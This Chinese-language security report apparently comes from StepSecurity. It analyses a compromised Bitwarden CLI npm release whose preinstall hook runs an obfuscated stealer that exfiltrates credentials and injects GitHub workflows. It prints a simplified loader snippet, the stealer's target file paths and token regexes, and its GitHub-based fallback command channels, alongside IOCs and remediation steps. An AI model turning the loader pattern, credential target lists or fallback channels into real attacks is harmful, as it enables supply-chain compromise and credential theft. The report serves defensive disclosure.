@bitwarden/cli@2026.4.0——Bitwarden 密码管理器的官方命令行界面——被发现已在 npm 上遭到篡改并重新发布。一个恶意的 preinstall 钩子在后台静默引导 Bun JavaScript 运行时,并启动了一个 9.7 MB 的混淆凭证窃取木马,目标是开发人员密钥、GitHub Actions 环境以及——明确针对——AI 编码工具配置,包括 ~/.claude.json 和 MCP 服务器配置。所有窃取的数据均使用 AES-256-GCM 加密,并泄露到 audit.checkmarx.cx,这是一个冒充合法安全公司 Checkmarx 的域名。当发现 GitHub 令牌时,恶意软件会将其武器化,向仓库注入恶意工作流并提取 CI/CD 密钥——将一台被攻陷的开发机器转变为供应链攻击的支点。
@bitwarden/cli@2026.4.0,Bitwarden 密码管理器的官方命令行界面,已被发现遭到篡改并在 npm 上重新发布。
这是首例确认的供应链攻击——在 npm 上使用 OIDC Trusted Publishing 发布被篡改的包,且攻击链是 StepSecurity 迄今为止分析过的最复杂的 GitHub Actions 供应链攻陷之一。
一名 Bitwarden 工程师的 GitHub 账户遭到攻陷。攻击者在 bitwarden/clients 仓库中创建了一个新分支,暂存了一个预构建的恶意 tarball,并重写了 publish-cli.yml 工作流,通过 npm 注册表 API 将 GitHub Actions OIDC 令牌交换为 npm 认证令牌。该工作流随后使用该令牌将暂存的 tarball 直接发布到 npm。包上线后,攻击者删除了所有工作流运行记录、分支和发布标签,仅在 npm 上保留已发布的包作为主要遗留工件。
OIDC Trusted Publishing 在业界被广泛宣传为长期 npm 令牌的现代、安全替代方案,以及防止令牌被盗的银弹。在本次事件中,攻击者将 Trusted Publishing 本身变成了发布渠道。npm Trusted Publishing 目前不支持分支级限制,因此仓库中任何被攻陷的分支都能发布到 npm。如果 GitHub environment 设置了必需的审批门控,本可以阻止发布,但该工作流上没有设置此类门控。
被篡改的 @bitwarden/cli@2026.4.0 附带一个 preinstall 钩子,静默下载 Bun JavaScript 运行时并启动一个 9.7 MB 的混淆凭证窃取木马。该木马针对 SSH 密钥、npm 和 GitHub 令牌、AWS 和 GCP 凭证、shell 历史记录、环境变量以及 AI 工具配置文件。这是我们分析的首个明确枚举 Claude Code、Cursor、Kiro、Codex CLI 和 Aider 的 npm 攻陷事件,将 ~/.claude.json 和 MCP 服务器配置视为与云和源代码管理密钥同等优先的泄露目标。
被盗数据使用 AES-256-GCM 加密,并通过 audit.checkmarx.cx 泄露,这是一个注册用于冒充安全厂商 Checkmarx 的域名,因此出站连接会融入安全遥测数据而非引起注意。当在受害者的机器上发现有效 GitHub 令牌时,恶意软件会将其武器化,枚举仓库、提取 Actions 密钥,并在令牌可访问的每个仓库中注入恶意工作流,将一台被攻陷的开发机器转变为更广泛的供应链支点。
StepSecurity 的 Harden Runner 在受控测试运行期间阻止了到 audit.checkmarx.cx 的出站连接,在网络层阻止了数据泄露。AI Package Analyst 在包发布后立即标记了异常的 preinstall 钩子和 Bun 运行时下载行为。
我们如何检测到它
StepSecurity 的 AI Package Analyst 监控每一个新的 npm 发布,将每个版本与完整包历史进行对比,并对差异进行行为分析。对于 @bitwarden/cli@2026.4.0,三个信号触发了立即 CRITICAL 判定:
-
preinstall脚本首次出现在包的发布历史中。@bitwarden/cli的所有先前版本都没有安装生命周期脚本。版本2026.4.0添加了"preinstall": "node bw_setup.js"——这些代码在任何应用逻辑运行之前自动触发,在任何人工检查输出之前。 -
引入了两个未文档化的文件:
bw_setup.js和bw1.js。 这两个文件在任何先前版本或包的 git 历史中都不存在。 -
安装时下载运行时。 加载器在包安装期间从
github.com/oven-sh/bun/releases下载 Bun JavaScript 运行时——对于此前安装时零网络活动行为的 CLI 工具来说,这是异常行为。
版本不匹配:劫持是如何构建的
攻击者并非从头构建 2026.4.0。恶意 tarball 内部嵌入的元数据仍引用 2026.3.0——即合法的先前版本。攻击者获取了干净的 2026.3.0 构建,向其中注入 bw_setup.js 和 bw1.js,更新 package.json 添加 preinstall 钩子并重定向 bw 二进制入口点,然后以递增的版本号 2026.4.0 重新发布。
这意味着 Bitwarden CLI 仍然完全正常运行。受害者获得了一个可工作的 bw 命令,无安装错误,无可见输出——而凭证收集器则在后台静默运行。
取证信号: package.json 中声明的版本是 2026.4.0,但内部元数据仍引用 2026.3.0。此版本不匹配是该注入技术的可靠指纹:攻击者修改了发布的工件,而非从源代码干净重建。
攻击链内部
阶段 1 加载器:作为逃避工具的 Bun (bw_setup.js)
bw_setup.js 只有一个任务:获取 Bun JavaScript 运行时并使用它执行有效载荷。
// Simplified execution flow
try {
execFileSync("bun", ["--version"], { stdio: "ignore" });
return; // bun already present, use it
} catch {}
// Download bun-v1.3.13 for the detected platform/arch from GitHub
const downloadUrl = \`https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}\`;
const zipBuf = await get(downloadUrl);
// Extract and execute the payload
execFileSync(bunPath, ["bw1.js"], { stdio: "inherit" });使用 Bun 而非 Node.js 是一个刻意的逃避选择。针对包安装期间可疑 node 子进程生成的 EDR 规则、SIEM 检测和安全扫描器,将完全错过 bun 进程。加载器还包含一个用纯 Node.js 编写的自定义 ZIP 解析器作为后备,确保即使在缺乏 unzip 命令的最小容器环境中也能工作。它检测 Linux 变体(glibc 与 musl/Alpine)并选择合适的 Bun 二进制文件——证实 CI/CD 容器明确在目标范围内。
File: bw_setup.js
SHA-256: 18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb阶段 2 有效载荷:多目标凭证收集器 (bw1.js)
bw1.js 是一个 9.7 MB 的混淆 JavaScript 文件。所有字符串都存储在旋转查找数组中,通过十六进制索引函数调用访问(_0xbae802(0x...)),使得不进行动态执行就无法阅读有效载荷。对该文件的静态分析确认了以下能力:
File: bw1.js
SHA-256: 8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14开发人员凭证扫描
三个主要收集器并行运行,针对文件系统、环境和 GitHub Actions 运行器来源:
- SSH 密钥:
~/.ssh/id_rsa、id_ed25519、id_ecdsa、id_dsa、id_*、known_hosts、authorized_keys - Git:
~/.gitconfig、~/.git-credentials - Shell 历史:
~/.bash_history、~/.zsh_history、~/.sh_history - npm 令牌:
~/.npmrc、项目级.npmrc、匹配npm_[A-Za-z0-9]{36,}的环境变量 - GitHub 令牌:
gh auth token(shell 命令)、ghp_[A-Za-z0-9]{36}、gho_...的环境变量扫描 - AWS:
~/.aws/credentials、~/.aws/config - GCP:
~/.config/gcloud/credentials.db - 密钥文件:
.env
AI 工具凭证定向
此活动远超典型的 npm 窃取器。该有效载荷包含一个明确的 AI 编码助手列表,用于探测凭证和会话数据:
- Claude Code — 命令:
claude— 配置:~/.claude.json、.claude.json - Kiro — 命令:
kiro— 配置:~/.kiro/settings/mcp.json、.kiro/settings/mcp.json - Cursor — 命令:
cursor— 配置:MCP 配置 - Codex CLI — 命令:
codex - Aider — 命令:
aider
明确针对 ~/.claude.json 和 MCP 服务器配置文件(mcp.json)意味着存储在 AI 助手上下文中的任何 Anthropic API 密钥、工作区令牌或敏感数据都在目标范围内。如果受影响的机器上存在 ~/.claude.json,请将文件中所有 API 密钥视为已泄露。
GitHub Actions 运行器定向
当有效载荷检测到 GitHub Actions 环境(GITHUB_ACTIONS=true)时,一个专用的运行器收集器被激活:
- 运行
gh auth token直接检索 GitHub CLI 会话令牌 - 针对
https://api.github.com/user验证每个发现的 GitHub 令牌 - 枚举有效令牌可访问的所有仓库
- 查询所有可访问仓库的 Actions 密钥
对于每个经验证的令牌,恶意软件随后会将其武器化——见下文阶段 5。
阶段 3 加密泄露
收集的数据在传输前经过混合加密管道:
域名 audit.checkmarx.cx 完全由攻击者控制。Checkmarx 的真实域名是 checkmarx.com——.cx 顶级域名(圣诞岛)被注册用于冒充受信任的安全厂商,以便仅进行主机名检查的网络日志中混入正常流量。解析后的 IP 是 94.154.172.43,与 Checkmarx 没有任何关联。
阶段 4 基于 GitHub 的弹性备用 C2
如果 audit.checkmarx.cx 被阻止(如 Harden Runner 所做),恶意软件不会停止。两个基于 GitHub 的备用通道使用无法被域名允许列表阻止的合法基础设施提供持久 C2:
通道 1——提交中嵌入的攻击者 PAT。 有效载荷搜索匹配正则表达式的 GitHub 提交消息:
Base64 有效载荷双重解码后,产生攻击者控制的 GitHub PAT。该令牌在使用前经过验证。数据通过在攻击者账户下创建仓库来泄露。
通道 2——签名域名轮换。 有效载荷搜索以 beautifulcastle 为前缀的提交消息,后跟 base64 编码的 RSA 签名 blob。如果签名通过嵌入式公钥验证,则解码第一个 base64 段以揭示备用 C2 域名。这允许攻击者在无需更新有效载荷的情况下轮换基础设施。
通道 3——受害者账户泄露。 使用从受害者那里窃取的 GitHub 令牌,恶意软件在受害者自己的账户下创建一个仓库并推送加密结果 blob。从网络监控的角度看,流量与正常的 api.github.com 使用无法区分。
为什么这很重要: 备用架构意味着仅阻止 audit.checkmarx.cx 不足以实现完整防御。Harden Runner 的网络锁定模式阻止所有三个通道:主要 C2 POST、api.github.com 备用查询以及受害者账户仓库创建——除非明确添加到允许列表,否则全部被阻止。
阶段 5 GitHub 令牌武器化
对于在系统上发现的每个经验证的 GitHub 令牌,有效载荷从窃取升级为主动利用:
- 枚举令牌有写权限的所有仓库
- 列出令牌可访问的所有 GitHub Actions 密钥
- 在目标仓库中创建新分支
- 注入恶意工作流文件,设计用于在下次工作流运行时泄露更多密钥
- 从先前工作流运行中拉取工件——可能包含构建输出、签名版本或缓存的凭证
一台安装了 @bitwarden/cli@2026.4.0 的单个开发者机器可以成为更广泛供应链攻陷的入口点,攻击者获得对该开发者令牌可访问的每个 CI/CD 管道的持久工作流注入访问权限。
Harden Runner 阻止了它
我们在使用 StepSecurity Harden Runner 检测的 GitHub Actions 运行器中安装了 @bitwarden/cli@2026.4.0。网络事件日志实时捕获了攻击:
Step: Install @bitwarden/cli@2026.4.0
Process: bun
Event type: ATTACK BLOCKED ← exfiltration prevented
Domain: audit.checkmarx.cx:443
IP: 94.154.172.43
Timestamp: 13:43:43 GMT被阻止的连接阻止了凭证泄露到主要 C2。在同一次运行中,从 github.com/oven-sh/bun/releases 下载 Bun 运行时的行为被记录为异常的安装时网络活动。
完整公开运行:app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/24838719458
攻陷指标
包
- 恶意包:
@bitwarden/cli@2026.4.0 - 安全版本:
@bitwarden/cli@2026.3.0(及更早版本) - 版本不匹配指示器:
package.json版本2026.4.0;嵌入元数据引用2026.3.0 - XRAY-ID:
XRAY-969808
文件
- 加载器:
node_modules/@bitwarden/cli/bw_setup.js - 加载器 SHA-256:
18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb - 有效载荷:
node_modules/@bitwarden/cli/bw1.js - 有效载荷 SHA-256:
8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14
网络
- 主要 C2 域名:
audit.checkmarx.cx - 主要 C2 IP:
94.154.172.43 - 主要 C2 端点:
https://audit.checkmarx.cx/v1/telemetry - Bun 运行时下载:
github.com/oven-sh/bun/releases/download/bun-v1.3.13/
代码标记
- 提交 C2 标记:
LongLiveTheResistanceAgainstMachines:<base64> - 域名轮换标记:
beautifulcastle <base64>.<base64> - Shell 命令:
gh auth token - GitHub PAT 正则表达式:
ghp_[A-Za-z0-9]{36} - npm 令牌正则表达式:
npm_[A-Za-z0-9]{36,}
我受影响了吗?
1. 检查项目中是否存在恶意版本:
npm list @bitwarden/cli 2>/dev/null | grep "2026\.4\.0"
cat package-lock.json | grep -A1 '"@bitwarden/cli"' | grep "2026\.4\.0"2. 检查 node_modules 中是否存在恶意文件:
ls node_modules/@bitwarden/cli/bw_setup.js 2>/dev/null && echo "COMPROMISED"
ls node_modules/@bitwarden/cli/bw1.js 2>/dev/null && echo "COMPROMISED"3. 检查运行过被篡改安装的账户上是否存在未经授权的 GitHub 仓库:
gh repo list --json name,createdAt --limit 204. 检查 CI/CD 管道日志中是否有任何拉取了 @bitwarden/cli@2026.4.0 的 npm install 运行——将那些管道视为完全被攻陷,立即轮换所有可访问的密钥。
修复
- 卸载被篡改的版本并降级:
npm uninstall @bitwarden/cli然后npm install @bitwarden/cli@2026.3.0 --ignore-scripts - 验证没有恶意文件残留:
ls node_modules/@bitwarden/cli/bw_setup.js node_modules/@bitwarden/cli/bw1.js 2>/dev/null——两个文件都不应存在。如果它们存在,说明被篡改的版本仍未卸载。 - 轮换所有凭证——在安装了该包的每台机器和 CI/CD 管道上:
- GitHub 令牌(PAT:
ghp_*,OAuth 令牌:gho_*) - npm 发布令牌(
npm_*) - SSH 私钥
- AWS 访问密钥和 IAM 角色凭证
- GCP 服务账户密钥
- 受影响 CI/CD 作业中的所有环境变量密钥
- 存储在
~/.claude.json、MCP 服务器配置或类似位置中的 AI 工具 API 密钥
- GitHub 令牌(PAT:
- 审计 GitHub 中的恶意工作流注入——在被受影响账户可访问的所有仓库中。检查意外的分支创建和注入的工作流文件,并删除恶意软件创建的任何仓库。
- 检查网络日志——查找任何连接到
audit.checkmarx.cx或94.154.172.43的连接——任何已确认的连接意味着泄露已发生。 - 在 CI/CD 中使用
--ignore-scripts——作为长期政策,防止preinstall/postinstall钩子在自动化构建中运行:npm ci --ignore-scripts - 固定精确版本——防止静默升级。
{ "dependencies": { "@bitwarden/cli": "2026.3.0" } }
StepSecurity 的 AI Package Analyst 如何检测到它
StepSecurity 的 AI Package Analyst 是 npm 和 PyPI 注册表的持续监控服务。每一个新的发布都会自动分析行为和结构信号,指示供应链攻陷——无需等待 CVE 或维护者报告。
对于 @bitwarden/cli@2026.4.0,AI Package Analyst 标记了:
preinstall钩子缺席于所有先前版本。@bitwarden/cli在2026.4.0之前的每个版本都不包含安装脚本。在版本升级中添加生命周期钩子但没有对应的发布标签或变更日志条目,是账户被攻陷或篡改的高置信度信号。- 未知文件
bw_setup.js和bw1.js没有 git 历史。 这两个文件首次出现在此版本中。添加到包中但在项目 git 历史中没有任何存在的文件表明是注入而非有机开发。 - 安装时下载 Bun 运行时。 包安装期间异常的出站网络行为——特别是从 GitHub 下载整个 JavaScript 运行时——是分阶段多文件攻击的强烈指标。
两个文件均已确认为恶意,@bitwarden/cli@2026.4.0 已立即添加到 StepSecurity 的全局阻止列表。npm 被篡改包检查现在自动阻止引入此版本的任何 PR。
查看 @bitwarden/cli@2026.4.0 的完整 AI Package Analyst 报告 →
StepSecurity 如何提供帮助
预防——在被篡改的包进入您的代码库之前将其阻止
- npm 被篡改包检查——StepSecurity 维护一个实时确认恶意 npm 包数据库,持续更新,优先于 CVE 发布。任何引入
@bitwarden/cli@2026.4.0的 PR 自动失败检查并被阻止合并。为您的组织启用:app.stepsecurity.io/checks - npm 包冷却检查——新的 npm 发布在可配置的冷却窗口期间被阻止。大多数恶意包在发布后数小时内即可识别。冷却期为检测追上提供时间。
- Harden-Runner 出站强制执行——在锁定模式下,阻止 GitHub Actions 工作流执行期间所有未声明的出站连接——同时在 DNS 和网络层面。
audit.checkmarx.cx的泄露尝试、Bun 运行时下载和 GitHub API 备用通道全部被阻止,除非明确添加到允许列表。这是纵深防御层,即使恶意包通过其他控制措施溜进来也能生效。
检测——跨注册表、PR 和开发机器的持续可见性
- AI Package Analyst——实时监控每一个新的 npm 和 PyPI 发布。异常发布——新的安装钩子、混淆文件、运行时下载、未知依赖——立即标记并附带完整行为分析。无需 CVE。app.stepsecurity.io/oss-security-feed
- npm 包搜索——在您的组织中跨所有 PR 和仓库搜索,确定当发现被篡改的包时哪些团队和代码库受到影响。在响应前了解爆炸半径。
- Harden-Runner 网络基线——自动记录每个工作流步骤的每个出站网络连接,识别异常目标。即使在审计模式下,这也能揭示恶意包是否尝试了泄露——包括通过 GitHub API 备用通道。
响应——评估暴露并协调修复
- 威胁中心——提供被篡改包的实时通报,包含技术分析、IOC 和修复步骤——快速分类和响应所需的一切,无需等待公开披露。
- 协调修复——结合威胁情报、包搜索结果和网络基线,创建跨所有受影响仓库的优先级暴露列表,实现一致的全组织修复。
保护您的管道: AI Package Analyst 实时监控每一个 npm 和 PyPI 发布,在安装前对包进行供应链风险评分。Harden-Runner 在 GitHub Actions 中强制执行网络出站允许列表,阻止 C2 回拨和意外的出站连接——即使恶意包通过其他控制措施溜进来。